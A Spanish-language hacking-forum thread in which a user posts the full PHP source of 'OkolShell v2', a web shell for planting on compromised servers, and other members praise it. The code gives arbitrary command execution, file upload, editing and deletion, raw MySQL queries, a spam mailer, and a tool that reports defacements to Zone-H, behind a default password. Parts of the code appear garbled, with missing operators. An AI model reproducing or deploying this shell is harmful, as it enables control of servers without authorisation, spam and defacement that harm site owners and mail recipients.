Underc0de - La Casa de los Informáticos

[In]Seguridad Informática => Bugs y Exploits => Shells => Mensaje iniciado por: Okol en Enero 27, 2013, 12:59:31 AM

Título: OkolShell v2
Publicado por: Okol en Enero 27, 2013, 12:59:31 AM
Hola amigos, ahora les vengo anunciando la V2 de la OkolShell, Dispone de nuevas mejoras.
¿Cuales son?

-Bug Fixes.
-Adición de un panel de administración.
-Navegación de directorios.
-Un Diseño más amigable y ordenado.

Decidí quitar el safe mode bypass ya que la mayoría sabe bypassearlo.

Cualquier asunto por MP.

Les dejo unas fotos:
(http://i.imgur.com/xmI4Vyh.png)

(http://i.imgur.com/caOz7VA.png)

*La contraseña por defecto es: pass.

Source:

Código (php) [Seleccionar]

<?php
session_start
();
?>

<style type="text/css">
table {
  border-collapse: collapse;
  border: 1px solid #03476F;
  font: normal 11px verdana, arial, helvetica, sans-serif;
  color: #363636;
  background: #92C428;
  }
caption {
  text-align: center;
  font: bold 18px arial, helvetica, sans-serif;
  background: transparent;
  padding:6px 4px 8px 0px;
  color: #03476F;
  text-transform: uppercase;
  }
td, th {
  border: 1px dotted #03476F;
  padding: .4em;
  color: #363636;
  }

thead th, tfoot th {
  font: bold 11px verdana, arial, helvetica, sans-serif;
  border: 1px solid #03476F;;
  text-align: left;
  background: #4591AD;
  color: #FFFFFF;
  padding-top:3px;
  }
tbody td a {
  background: transparent;
  text-decoration: none;
  color: #363636;
  }
tbody td a:hover {
  background: #C2F64D;
  color: #363636;
  }
tbody th a {
  font: normal 11px verdana, arial, helvetica, sans-serif;
  background: transparent;
  text-decoration: none;
  font-weight:normal;
  color: #363636;
  }
tbody th a:hover {
  background: transparent;
  color: #363636;
  }
tbody th, tbody td {
  vertical-align: top;
  text-align: left;
  }
tfoot td {
  border: 1px solid #03476F;
  background: #4591AD;
  padding-top:3px;
  color: #FFFFFF;
  }
.odd {
  background: #AEE239;
  }
tbody tr:hover {
  background: #FFD800;
  border: 1px solid #03476F;
  color: #FFFFFF;
  }
tbody tr:hover th,
tbody tr.odd:hover th {
  background: #FFD800;
  color: #FFFFFF;
  }
  input, textarea { background-color: #000; color: #0F0; padding: 5px; font-size: 15px; }
     
</style>
<body bgcolor="Black" Text="green" alink="green" blink="green" link="green">
            <title>OkolShell v2</title>
            <center><pre style="color: green; text-shadow: 0px 0px 8px yellow;">

<big>
________   __         .__    _________.__           .__  .__          ________ 
\_____  \ |  | ______ |  |  /   _____/|  |__   ____ |  | |  |   ___  _\_____  \
/   |   \|  |/ /  _ \|  |  \_____  \ |  |  \_/ __ \|  | |  |   \  \/ //  ____/
/    |    \    <  <_> )  |__/        \|   Y  \  ___/|  |_|  |__  \   //       \
\_______  /__|_ \____/|____/_______  /|___|  /\___  >____/____/   \_/ \_______ \
        \/     \/                  \/      \/     \/                          \/
<?php echo "<font size='2'>".shell_exec('uname -a'); 
echo 
'<font size="2" color="red">usuario </font><font size="2">'shell_exec('id');
echo 
'<font size="2" color="red">PHP Version </font><font size="2">'phpversion().'<br>';
echo 
'<font size="2" color="red">Safe Mode </font><font size="2" color="gray">'$safe_mode = @ini_get("safe_mode")?'<font color="red">ON</font>':'<font color="green">OFF</font>'$safe_mode;
echo 
'</pre><tr></tr>';
?>

    </pre></center><br /><br /></big></span>
    <center>
<?php
@set_magic_quotes_runtime(0);
if(@
$_SESSION['okol'] != 'logged'){
    if(isset(
$_POST['asdd']) && $_POST['asd'] == 'pass'){
        
$_SESSION['okol'] = 'logged';
        echo 
'<script>window.location="?";</script>';
    }
?>


<form action="" method="POST">
  <input type="pass" name="asd"  />
  <input type="submit" name="asdd" value="Logear" style="color: green; text-shadow: 0px 0px 8px yellow;"/>
</form>

<?php
 
die();
 }
 
$sec = @$_GET['sec'];
 if(
$sec == 'mail'){

?>


   
<h3>Mailer</h3>
    <form method="post" action="">
        Desde:<input type="text"name="from"><br /><br />
        Asunto<input type="text"name="asunto"><br /><br />
        Numero De Mensajes<input type="text"name="num"><br /><br />
        Para:<textarea name="para"></textarea><br>
        [*]Si son varios mails separalos por coma...<br><br />
        Contenido:<TEXTAREA name="cont"></TEXTAREA><br>
        <center><input type="submit" value="Spam!" name="spam"><br /></center>
    </form>
<?php
if(isset($_POST['spam'])){
$desde $_POST['from'];
$para$_POST['para'];
$cont$_POST['cont'];
$asunto$_POST['asunto'];
$numsj$_POST['num'];
$lol=0;
while(
$lol $numsj){
    
$lol=$lol 1;
mail($para,$asunto,$cont,'From:'.$desde);
                    }
if(
mail($para,$asunto,$cont,'From:'.$desde))
{
    echo
'<>Enviado Correctamente!<br>';

}else{
    echo 
'<center>No se pudo enviar el mensaje<br>';
}
}

 }elseif (
$sec == 'reportzone') {
  
?>

<h3>Zone-H Reporter</h3>
    <form method="POST" action="<?php basename($_SERVER['PHP_SELF']) ?>">
    url1:<br><input type="text" name="report" value="http://"><br>
url2:<br><input type="text" name="report1" value="http://"><br>
url3:<br><input type="text" name="report2" value="http://"><br>
url4:<br><input type="text" name="report3" value="http://"><br>
url5:<br><input type="text" name="report4" value="http://"><br>
url6:<br><input type="text" name="report5" value="http://"><br>
url7:<br><input type="text" name="report6" value="http://"><br>
url8:<br><input type="text" name="report7" value="http://"><br>
url9:<br><input type="text" name="report8" value="http://"><br>
url10:<br><input type="text" name="report9" value="http://"><br>
    nick: <br><input type="text" name="nick"><br>
   
    <input type="submit" value="Reportar">
    </form>
<?php
if(isset($_POST['report']))
    {
    @
$defacer htmlentities($_POST['nick']);
    @
$url htmlentities($_POST['report']);
    @
$url2 htmlentities($_POST['report1']);
    @
$url3 htmlentities($_POST['report2']);
    @
$url4 htmlentities($_POST['report3']);
    @
$url5 htmlentities($_POST['report4']);
    @
$url6 htmlentities($_POST['report5']);
    @
$url7 htmlentities($_POST['report6']);
    @
$url8 htmlentities($_POST['report7']);
    @
$url9 htmlentities($_POST['report8']);
    @
$url10 htmlentities($_POST['report9']);
    function 
ReportarSuperCaker($url,$url2,$url3,$url4,$url5,$url6,$url7,$url8,$url9,$url10,$defacer,$modohackeo,$rason)
    {  
     
    
$ch curl_init("http://zone-h.com/notify/mass");
    
curl_setopt($chCURLOPT_RETURNTRANSFER1);
    
curl_setopt($chCURLOPT_POST1);
    
curl_setopt($chCURLOPT_POSTFIELDS"defacer=$defacer&domain1=$url&domain2=$url2&domain3=$url3&domain4=$url4&domain5=$url5&domain6=$url6&domain7=$url7&domain8=$url8&domain9=$url9&domain10=$url10&hackmode=$modohackeo&reason=$rason");
    
curl_exec($ch);
    
curl_close($ch);
    }
     
    
ReportarSuperCaker("$url","$url2","$url3","$url4","$url5","$url6","$url7","$url8","$url9","$url10","$defacer","6","7");
     
    }
 }elseif (
$sec == 'ejec') {
   
?>

   <form method="POST" action="">
    <h3>Comando a ejecutar</h3><br />
    <input type="text"  name="ejec"><br />
    <input type="submit" value="Ejecutar"><br />
</form>

   <?php
   
echo '<textarea cols="70" rows="10">';
    echo @
shell_exec($_POST['ejec']);
    echo 
'</textarea>';
}elseif (
$sec == 'crypt') {
  
?>

<h3>Cifrar y Descifrar</h3>
<form method="POST" action ="<?php basename($_SERVER['PHP_SELF']) ?>">
     Ingrese texto a Desencriptar:<br>
     <input type="text" name="decript64"><br>
     <input type="submit" value="Desencriptar">
     </form>

<form method="POST" action ="<?php basename($_SERVER['PHP_SELF']) ?>">
     Ingrese texto a encriptar:<br>
     <input type="text" name="encript64"><br>
     <input type="submit" value="Encriptar"><br /><br />
     </form>

     <form method="POST" action="<?php basename($_SERVER['PHP_SELF']) ?>">
        Encriptar en MD5<br />
        <input type="text" name="md5en">
        <input type="submit" value="encriptar"><br>
    </form>

     <?php

     
#encript b64
function base64en(){
     
$encript base64_encode($_POST['encript64']);
     echo 
$encript.'<br>';
}

#Decript b64
function base64de(){
    
$decript base64_decode($_POST['decript64']);
    echo 
$decript.'<br>';
}

#encript Md5
function md5encript(){
    
$encriptmd5 md5($_POST['md5en']);
    echo 
$encriptmd5.'<br>';
}

if(isset(
$_POST['encript64'])){
    
base64en();
}
if(isset(
$_POST['decript64'])){
    
base64de();
}
if(isset(
$_POST['md5en'])){
    
md5encript();
}
}elseif (
$sec == 'mysqlsen') {
  
?>

<form method="POST" action="">
    <h3>Sentencias Mysql</h3><br>
    Host:<input type="text" name="host">
    User:<input type="text" name="user">
    Password:<input type="text" name="password"><br>
    DB:<input type="text" name="database">
    Query: <input type="text" name="query">
    <input type="submit" value="Ejecutar" name="mysqlsentencia">
</form>
  <?php

  
if(isset($_POST['query'])){
    
$host $_POST['host'];
    
$user $_POST['user'];
    
$pass $_POST['password'];
    
$query $_POST['query'];
    
$db $_POST['database'];
    
$con mysql_connect($host$user$pass);
    echo 
mysql_error()?"Error: " mysql_error():"Conectado con exito\n";
                
mysql_select_db($db$con);
                    echo 
mysql_error()?"Error: " mysql_error():"DB seleccionada con exito\n\n";
                
$resultado mysql_query($query);
if(
$result)
                {
                    while(
$line mysql_fetch_array($result,MYSQL_ASSOC))
                    {
                        
print_r ($line);
                    }
                }
              }
                
            
}
 


?>


<a href="?sec=mail">Mailer</a><br>
<a href="?sec=reportzone">Zone-H Reporter</a><br>
<a href="?sec=ejec">Ejecutar comandos</a><br>
<a href="?sec=crypt">Zone Crypter (Md5 y Base64)</a><br>
<a href="?sec=mysqlsen">Mysql Sentences</a><br>
<form action="" method="post" enctype="multipart/form-data">
 
    <h3 style="color: green; text-shadow: 0px 0px 2px green;">Enviar un nuevo archivo: </h3>
    <br>
    <input name="banner" type="file">
    <br>
    <input type="submit" value="Enviar" name="subir">
    </form>

    <?php
    
if(isset($_GET['del']) & @$_GET['file'] != ""){
      
unlink($_GET['file']);
      echo 
'<script>window.location="?";</script>';
    }
    if(isset(
$_POST['subir'])){

 
$path$_GET['dir'];

$nombreArch=$_FILES['banner']['name'];

if (
is_uploaded_file($_FILES['banner']['tmp_name']))
 {
   
move_uploaded_file($_FILES['banner']['tmp_name'], $path."/".$nombreArch);
  echo 
"El archivo se ha subido correctamente al servidor, muchas gracias <p>";
 }
else { 
  echo 
"Error al subir el archivo "
  echo 
$path."/".$archivo.""
}

}
if(
$sec 'menu'){

 @
$file htmlentities($_GET['file']);
 @
$sec $_GET['sec'];

 }
$directorio = isset($_GET['dir'])?$_GET['dir']:"/";
function 
permisos($permiso){
        
//Sacado de php.net :)
 
        
$permisos = @fileperms($permiso);
        if ((
$permisos 0xC000) == 0xC000) {
    
// Socket
    
$info 's';
} elseif ((
$permisos 0xA000) == 0xA000) {
    
// Enlace Simbólico
    
$info 'l';
} elseif ((
$permisos 0x8000) == 0x8000) {
    
// Regular
    
$info '-';
} elseif ((
$permisos 0x6000) == 0x6000) {
    
// Especial Bloque
    
$info 'b';
} elseif ((
$permisos 0x4000) == 0x4000) {
    
// Directorio
    
$info 'd';
} elseif ((
$permisos 0x2000) == 0x2000) {
    
// Especial Carácter
    
$info 'c';
} elseif ((
$permisos 0x1000) == 0x1000) {
    
// Tubería FIFO
    
$info 'p';
} else {
    
// Desconocido
    
$info 'u';
}
 
// Propietario
$info .= (($permisos 0x0100) ? 'r' '-');
$info .= (($permisos 0x0080) ? 'w' '-');
$info .= (($permisos 0x0040) ?
            ((
$permisos 0x0800) ? 's' 'x' ) :
            ((
$permisos 0x0800) ? 'S' '-'));
 
// Grupo
$info .= (($permisos 0x0020) ? 'r' '-');
$info .= (($permisos 0x0010) ? 'w' '-');
$info .= (($permisos 0x0008) ?
            ((
$permisos 0x0400) ? 's' 'x' ) :
            ((
$permisos 0x0400) ? 'S' '-'));
 
// Mundo
$info .= (($permisos 0x0004) ? 'r' '-');
$info .= (($permisos 0x0002) ? 'w' '-');
$info .= (($permisos 0x0001) ?
            ((
$permisos 0x0200) ? 't' 'x' ) :
            ((
$permisos 0x0200) ? 'T' '-'));
 
return 
$info;
    }
        if(
$file == ""){
         echo 
'<table border="1"> <tr> <th ><font color="gray">archivos</font></th>';
        echo 
'<th><font color="gray">Tama&ntilde;o</th></font>';
        echo 
'<th><font color="gray">Tipo</th></font>';
        echo 
'<th><font color="gray">Permisos</th></tr></font>';
            
$files = @scandir($directorio) or die('No existe el directorio que buscas');
            for (
$i=0$i count($files); $i++) {
                if(
$files[$i] != "." && $files[$i] != ".."){
                    
$cat is_file($directorio."/".$files[$i])?"file":"dir";
                    
chdir($directorio);
                    echo 
"<tr><td><a href='?".$cat."=" .$directorio."/".$files[$i]."''>".$files[$i]."</a></td>";
                    echo 
'<td>'. @filesize($files[$i]).' KB</td>';
                    echo 
'<td>'. @filetype($files[$i]).'</td>';
                    echo 
'<td>'permisos($files[$i]).'</td>';
                    echo 
"<td><a href='?del&file=$directorio/$files[$i]'>Eliminar</a></td></tr>";
                    
                   
                }
            }
        echo 
'</table>';
        echo 
'<form method="GET" action=""> ';
        echo 
'<input type="text" name="dir" value="'.$_SERVER['DOCUMENT_ROOT'].'"> ';
        echo 
'<input type="Submit" value="navegar"> ';
        echo 
'<td>';






        if(isset(
$_GET['dela']) && $_GET['dela'] != ''){
            
chdir($directorio);
            
unlink($archel);
        }
 
 
        }else{
         
            if(isset(
$_POST['enviar'])){
                
$fp=fopen("$file""w+");
                
fputs($fp$_POST['contenido']);
                @
fclose($fp);
                echo 
'Editado';
            }
            if(
is_file($file))
            {
            
$fp = @fopen("$file"'r');
            
$cont = @fread($fpfilesize($file))or die('No se puede editar.');
            
$cont $cont;
            @
fclose($fp);
           
           
            echo 
"<form action='' method='POST'> ";
            echo 
"<textarea name='contenido' cols= '60' rows='20'>".htmlentities($cont)."</textarea><br> ";
            echo 
"<input type='submit' value='Editar' name='enviar'><br> ";
            echo 
"</form>";
            echo 
'<button onClick="history.go(-1)">Atras</button>';
          }
        }



    

    
?>


    </form>
<h3 color="green">Crear archivo:</h3><br><br>
<form method="POST" action="<?php basename($_SERVER['PHP_SELF']);  ?>">
    Nombre del archivo<br />
    <input type="text" name="archivo"><br /><br>
    Codigo<br />
    <textarea name="contenido2" cols="60" rows="15"></textarea><br />
   
    <input type="submit" value="crear" name="Mod"><br />
</form>

<?php

if(isset($_POST['archivo'])){
    
$contenido $_POST['contenido2'];
    
$nombre $_POST['archivo'];
    
$crear = @fopen($nombre,'w+');
    @
fwrite($crear$contenido);
    @
fclose($crear);
    echo 
'El archivo se ha creado correctamente.';
}


?>


</center>


Saludos.
Special Greetz: artshu | Kid_Goth.
Título: Re:OkolShell v2
Publicado por: Alex en Enero 27, 2013, 01:59:54 AM
ya con solo ver el titulo te dan ganas de entrar a ver el post,

un aportazo! como todos tus aportes, se agradece.

saludos!
Título: Re:OkolShell v2
Publicado por: Okol en Enero 27, 2013, 02:06:00 AM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
ya con solo ver el titulo te dan ganas de entrar a ver el post,

un aportazo! como todos tus aportes, se agradece.

saludos!
Un gustazo verte de nuevo por acá mi hermano.
Un saludo y un abrazo muy grande.
Saludos.
Título: Re:OkolShell v2
Publicado por: arthusu en Enero 27, 2013, 02:11:39 AM
gracias por traerla :D nice diseño :D
Título: Re:OkolShell v2
Publicado por: Pr0ph3t en Enero 27, 2013, 06:27:41 AM
Muy buena Okol, va avanzando. Me agrada mucho el diseño ;)
Título: Re:OkolShell v2
Publicado por: Cronos en Enero 27, 2013, 12:27:15 PM
Te quedo linda Okol :)
Título: Re:OkolShell v2
Publicado por: blood_rec en Enero 27, 2013, 05:06:46 PM
>.< lol

salu2
Título: Re:OkolShell v2
Publicado por: Muppet en Enero 28, 2013, 06:44:09 PM
felicitaciones Okol! un gran Aporte! quiero ver las proximas versiones!
Título: Re:OkolShell v2
Publicado por: ANTRAX en Enero 28, 2013, 06:54:46 PM
You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
>.< lol

salu2

Blood_rec, aca estamos para compartir lo que sabemos.. No para reirnos de los demas.

Excelente aporte Okol! segui asi!
Título: Re:OkolShell v2
Publicado por: J3sт3я en Enero 30, 2013, 11:50:49 PM
Wow Okol muy excelente amigo lo probaré gracias por Compartirlo :D
Título: Re:OkolShell v2
Publicado por: Nizzee en Abril 16, 2013, 06:36:17 PM
Impresionante el aporte :D
Me gustaría decir un par de cosillas:
- Sería mejor si se cambia:
109    <input type="pass" name="asd"  />
por:
109    <input type="password" name="asd"  />
así no se vería la contraseña cuando la escribes.
- También me gustaría decir que para los que quieran cambiar la contraseña y no sepan (cosa dificil de no saber xD) es así:
102     if(isset($_POST['asdd']) && $_POST['asd'] == 'poneraquilacontraseñaquequieres'){

Bueno, espero haber ayudado a alguien con esto ;)
Un Saludo y gracias de nuevo por este aporte!